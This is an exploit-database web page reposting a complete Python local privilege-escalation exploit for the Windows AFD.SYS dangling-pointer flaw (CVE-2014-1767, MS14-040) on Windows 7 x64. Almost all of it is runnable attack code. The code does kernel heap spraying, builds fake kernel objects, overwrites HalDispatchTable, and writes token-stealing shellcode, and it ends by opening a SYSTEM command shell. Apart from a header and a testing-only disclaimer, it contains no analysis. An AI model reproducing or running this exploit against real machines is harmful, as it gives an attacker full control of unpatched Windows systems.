Advertisement






Microsoft Windows AFD.SYS Privilege Escalation (MS14-040) Exploit

CVE Category Price Severity
CVE-2014-1767 CWE-264 $5,000 High
Author Risk Exploitation Type Date
Unknown High Local 2016-03-07
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/Au:N/C:C/I:C/A:C 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016030039

Below is a copy:

Microsoft Windows AFD.SYS Privilege Escalation (MS14-040) Exploit# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer
# Date: 2016-03-03
# Exploit Author: Rick Larabee
# Vendor Homepage: www.microsoft.com
# Version: Windows 7, 64 bit
# Tested on: Win7 x64
#        afd.sys - 6.1.7601.17514
#        ntdll.dll - 6.1.7601.17514 
#
# CVE : CVE-2014-1767
# Category: Local Privilege Escalation
# References:
#   http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf
#   http://ricklarabee.blogspot.com/
#   https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/
#   https://technet.microsoft.com/en-us/library/security/ms14-040.aspx
#   http://www.cvedetails.com/cve/CVE-2014-1767/
#   https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/
#
# Greetz: PWN4GEPWN1E, SecurityMook
 
 
from ctypes import *
import socket, time, os, struct, sys
from ctypes.wintypes import HANDLE, DWORD
import platform
 
kernel32 = windll.kernel32
ntdll    = windll.ntdll
Psapi    = windll.Psapi
 
MEMRES     = (0x1000 | 0x2000)
PAGEEXE    = 0x40
Zerobits   = c_int(0)
RegionSize = c_ulonglong(0x1000)
written    = c_ulonglong(0)
 
FakeObjSize = 0x100
 
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
GENERIC_EXECUTE = 0x20000000
GENERIC_ALL = 0x10000000
INVALID_HANDLE_VALUE = -1
 
WSAGetLastError          = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype  = c_int
SOCKET                   = c_int
WSASocket                = windll.Ws2_32.WSASocketA
WSASocket.argtypes       = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype        = SOCKET
closesocket              = windll.Ws2_32.closesocket
closesocket.argtypes     = (SOCKET,)
closesocket.restype      = c_int
connect                  = windll.Ws2_32.connect
connect.argtypes         = (SOCKET, c_void_p, c_int)
connect.restype          = c_int
HalDispatchTable         = c_uint64   
 
class sockaddr_in(Structure):
    _fields_ = [
        ("sin_family", c_short),
        ("sin_port", c_ushort),
        ("sin_addr", c_ulong),
        ("sin_zero", c_char * 8),
        ]   
 
kernel32.WriteProcessMemory.argtypes = [c_ulonglong, c_ulonglong, c_char_p,  c_ulonglong, POINTER(c_ulonglong)]        
ntdll.NtAllocateVirtualMemory.argtypes = [c_ulonglong, POINTER(c_ulonglong), c_ulonglong, POINTER(c_ulonglong),c_ulonglong,c_ulonglong]
 
def find_driver_base(driver=None):
    #https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/windows.py
     
    if platform.architecture()[0] == '64bit':
        lpImageBase = (c_ulonglong * 1024)()
        lpcbNeeded = c_longlong()
        Psapi.GetDeviceDriverBaseNameA.argtypes = [c_longlong, POINTER(c_char), c_uint32]
    else:
        #if process_is_wow64():
        #   raise RuntimeError('python running in WOW64 is not supported')
        lpImageBase = (c_ulong * 1024)()
        lpcbNeeded = c_long()
    driver_name_size = c_long()
    driver_name_size.value = 48
    Psapi.EnumDeviceDrivers(byref(lpImageBase), c_int(1024), byref(lpcbNeeded))
    for base_addr in lpImageBase:
        driver_name = c_char_p('\x00' * driver_name_size.value)
        if base_addr:
            Psapi.GetDeviceDriverBaseNameA(base_addr, driver_name, driver_name_size.value)
            if driver == None and driver_name.value.lower().find("krnl") != -1:
                return (base_addr, driver_name.value)
            elif driver_name.value.lower() == driver:
                return (base_addr, driver_name.value)
    return None    
 
def get_haldispatchtable():
    #https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/windows.py
 
    if platform.architecture()[0] == '64bit':
        kernel32.LoadLibraryExA.restype = c_uint64
        kernel32.GetProcAddress.argtypes = [c_uint64, POINTER(c_char)]
        kernel32.GetProcAddress.restype = c_uint64
    (krnlbase, kernelver) = find_driver_base()
    hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
    halDispatchTable = kernel32.GetProcAddress(hKernel, 'HalDispatchTable')
    halDispatchTable -= hKernel
    halDispatchTable += krnlbase
    return halDispatchTable
 
     
def CreateBuffer1(inbuf1addr):
    print "[+] Creating Buffer for IOCTL 0x1207F (afdTransmitFile) at: ", hex(inbuf1addr)
    inbuf1size = 0x40
    targetsize = 0x100
    virtualAddress = 0x13371337
    mdlsize = (pow(2, 0x0c) * (targetsize -0x30) / 8) - 0xfff - (virtualAddress & 0xfff) 
 
    
    inbuf1  = "\x41" * 0x20
    inbuf1 += struct.pack("Q", virtualAddress)    #0x1a
    inbuf1 += struct.pack("Q", mdlsize)
    inbuf1 += "\x42" * 4
    inbuf1 += "\x43" * 4
    inbuf1 += "\x01\x00\x00\x00"
    inbuf1 += "\x00\x00\x00\x00"
    inbuf1 += "\x00" * (inbuf1size - len(inbuf1))
        
    baseadd    = c_ulonglong(0x1001)
     
    dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                        byref(baseadd),
                                        0x0,
                                        byref(RegionSize),
                                        MEMRES,
                                        PAGEEXE)
 
    wpmStatus = kernel32.WriteProcessMemory(-1, inbuf1addr, inbuf1, inbuf1size, byref(written))
     
def CreateBuffer2(inbuf2addr):
    print "[+] Creating Buffer for IOCTL 0x120C3 (afdTransmitPacket) at: ", hex(inbuf2addr)
    inbuf2size = 0x18
    addrforbuf2 = 0x0AAAAAAA
    
    inbuf2 = struct.pack("Q", 0x1)
    inbuf2 += struct.pack("Q", addrforbuf2)
    inbuf2 += "\x00" * (inbuf2size -len(inbuf2))
        
    baseadd    = c_ulonglong(inbuf2addr+1)
    dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                        byref(baseadd),
                                        0x0,
                                        byref(RegionSize),
                                        MEMRES,
                                        PAGEEXE) 
    kernel32.WriteProcessMemory(-1, inbuf2addr, inbuf2, inbuf2size, byref(written))
 
def CreateFakeObject(firstWrite,fakeobjectaddr, setinfoworkerfactory):
    print "[+] Print creating fakeobject at ", hex(fakeobjectaddr)
     
    fakeobject2addr = setinfoworkerfactory - 0x18
 
    fakeobject2 = "\x00"*0x18 + struct.pack("Q", firstWrite)
    fakeobj2size = len(fakeobject2)
    kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written))
 
    objhead = ("\x00\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
               "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
               "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
               "\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x08\x00\x00\x00\x00\x00"
               "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
 
    fakeobject = objhead
    fakeobject += struct.pack("Q", fakeobject2addr) + "\x41"*96
    fakeobject += "\x42" * (FakeObjSize - len(fakeobject))
    kernel32.WriteProcessMemory(-1, fakeobjectaddr, fakeobject, FakeObjSize, byref(written))   
 
def main():
    print "[+] creating socket..."
    sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)
 
    if sock == -1:
        print "[-] no luck creating socket!"
        sys.exit(1)
 
    print "[+] got sock 0x%x" % sock
 
    addr = sockaddr_in()
    addr.sin_family = socket.AF_INET
    addr.sin_port = socket.htons(135)
    addr.sin_addr = socket.htonl(0x7f000001)
 
    connect(sock, byref(addr), sizeof(addr))
 
    print "[+] sock connected."
    print "[+] fill kernel heap"
 
    rgnarr = []
    nBottomRect = 0x02aaaaaa
    while(1):
        hrgn = windll.gdi32.CreateRoundRectRgn(0,0,1,nBottomRect,1,1)
 
        if hrgn == 0:
            break
        rgnarr.append(hrgn)
        print ".",
 
 
    print "\n[+] GO!"
    HalDispatchTable = get_haldispatchtable()
    print "[+] HalDispatchTable address:", hex(HalDispatchTable)
    # Win7 - x64 
    (halbase, dllname) = find_driver_base("hal.dll")
    OS = "7"
    if OS == "7":
        HaliQuerySystemInformation = halbase+0x398e8 # Offset for win7 x64
        _KPROCESS = "\x70"
        _TOKEN    = "\x08\x02"
        _UPID     = "\x80\x01"
        _APLINKS  = "\x88\x01"  
 
    print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation)
 
    IoStatus = c_ulonglong()
    IoStatusBlock = c_ulonglong()
 
    addrSetInfoWorkerFactory = 0x2218
    firstWriteAddr  = HalDispatchTable + 0x8 - 0x2C
    secondWriteAddr = firstWriteAddr + 0x4
    thirdWriteAddr = firstWriteAddr + 0x1
 
    shellcode_address   = c_ulonglong
    shellcode_address   = 0x0000000000002500
    what_address        = 0x0000250800002500
    what_part1          = what_address & 0xfffffff
    what_part2          = what_address >> 32 & 0xfffffff
 
    inbuf1 = 0x1000
    inbuf2 = 0x2000
    hWF = c_ulonglong(0)
    FakeWorkerFactoryADDR = 0x2100
 
    CreateBuffer1(inbuf1)
    CreateBuffer2(inbuf2)
    CreateFakeObject(firstWriteAddr, FakeWorkerFactoryADDR, addrSetInfoWorkerFactory)
    print ""
    print ""
    print "[*] Trigger IOCTL 0x1207f (afdTransmitFile) to setup the memory "
    print "[*] structures for phase 2 and fil the freed space with a "
    print "[*] WorkerFactory Object"
    raw_input("[+] Press Enter to trigger phase 1")
    ntdll.ZwDeviceIoControlFile.argtypes = [c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, POINTER(c_ulonglong), 
                                            c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong]
    status = ntdll.ZwDeviceIoControlFile(sock,0x0,0x0,0x0,byref(IoStatusBlock),0x1207f, inbuf1, 0x40, 0x0, 0x0)
 
 
    kernel32.CreateIoCompletionPort.argtypes = [c_ulonglong,c_ulonglong,c_ulonglong,c_ulonglong]
    CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, 0, 0, 0))
 
    ntdll.ZwCreateWorkerFactory.argtypes = [POINTER(c_ulonglong), c_ulonglong, c_ulonglong, c_void_p, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong]
    ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,0,CompletionPort,INVALID_HANDLE_VALUE,0,0,0,0,0)
    hWFaddr = hWF
 
 
    padding           = "\x90"*8
    HalDispatchTable0x8 = HalDispatchTable + 0x8
 
    sc_pointer = struct.pack("Q", shellcode_address+0x10)
    sc_pointer += struct.pack("Q", 0x25)   
 
    restore_ptrs =  "\x41\x51"                                                  +
                    "\x41\x52"                                                  +
                    "\x41\x53"                                                  +
                    "\x49\xb9" + struct.pack("Q", HaliQuerySystemInformation)   +
                    "\x49\xba" + struct.pack("Q", HalDispatchTable0x8)          +
                    "\x4d\x89\x0a"
                     
    tokenstealing = "\x65\x4C\x8B\x0C\x25\x88\x01\x00\x00"      +
                    "\x4D\x8B\x89" + _KPROCESS + "\x00\x00\x00" +
                    "\x4D\x89\xCA"                              +
                    "\x4D\x8B\x89" + _APLINKS + "\x00\x00"      +
                    "\x49\x81\xE9" + _APLINKS + "\x00\x00"      +
                    "\x49\x83\xB9" + _UPID + "\x00\x00\x04"     +
                    "\x75\xe8"                                  +
                    "\x4D\x8B\x89" + _TOKEN + "\x00\x00"        +
                    "\x4D\x89\x8A" + _TOKEN + "\x00\x00"      
 
    fixobjheaders = "\x4d\x8b\x92\x00\x02\x00\x00"          +
                    "\x4d\x89\xd1"                          +
                    "\x4d\x8b\x12"                          +
                    "\x41\xbb" + struct.pack("L", hWF.value)+
                    "\x41\x83\xe3\xfc"                      +
                    "\x4d\x01\xdb"                          +
                    "\x4d\x01\xdb"                          +
                    "\x4d\x01\xda"                          +
                    "\x49\xc7\x02\x00\x00\x00\x00"          +
                    "\x49\x83\xc1\x58"                      +
                    "\x4d\x89\xca"                          +
                    "\x4d\x8b\x09"                          +
                    "\x49\x83\xe9\x01"                      +
                    "\x4d\x89\x0a"                          +
                    "\x41\x5b"                              +
                    "\x41\x5A"                              +
                    "\x41\x59"                              +
                    "\xc3"
                    
    shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders
    shellcode_size    = len(shellcode)
 
    print "\n\n[+] Writing Shellcode at address: ", hex(shellcode_address)
 
    kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written))
 
    print "\n\n[*] Triggering IOCTL 0x120c3 (afdTransmitPackets) to free the"
    print "[*] WorkerFactory object created above and fill the freed object"
    print "[*] with a user controlled object to perform the necessary overwrites"
    raw_input("[+] Press Enter to trigger phase 2")
 
    ### Trigger 2
    ## afd!AfdTransmitPackets
    ntdll.ZwDeviceIoControlFile(sock,0x0,0x0,0x0,byref(IoStatusBlock),0x120c3, inbuf2, 0x18, 0x0, 0x0)
 
    ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False)
    ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part1, 0x4) 
    kernel32.WriteProcessMemory(-1, addrSetInfoWorkerFactory, struct.pack("Q", secondWriteAddr), 0x8, byref(written))
    ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part2, 0x4) 
    kernel32.WriteProcessMemory(-1, addrSetInfoWorkerFactory, struct.pack("Q", thirdWriteAddr), 0x8, byref(written))
    ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part2, 0x4) ;
 
    inp  = c_long()
    out  = c_long()
    inp  = 0x1337
    qip = ntdll.NtQueryIntervalProfile(inp, byref(out))
    print "[*] Spawning a SYSTEM shell..."
    os.system("cmd.exe /K cd c:\windows\system32")
 
 
if __name__ == "__main__":
    if platform.architecture()[0] == '64bit':
        main()
    else:
        print "Please use a 64 bit version of python"
        sys.exit()


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum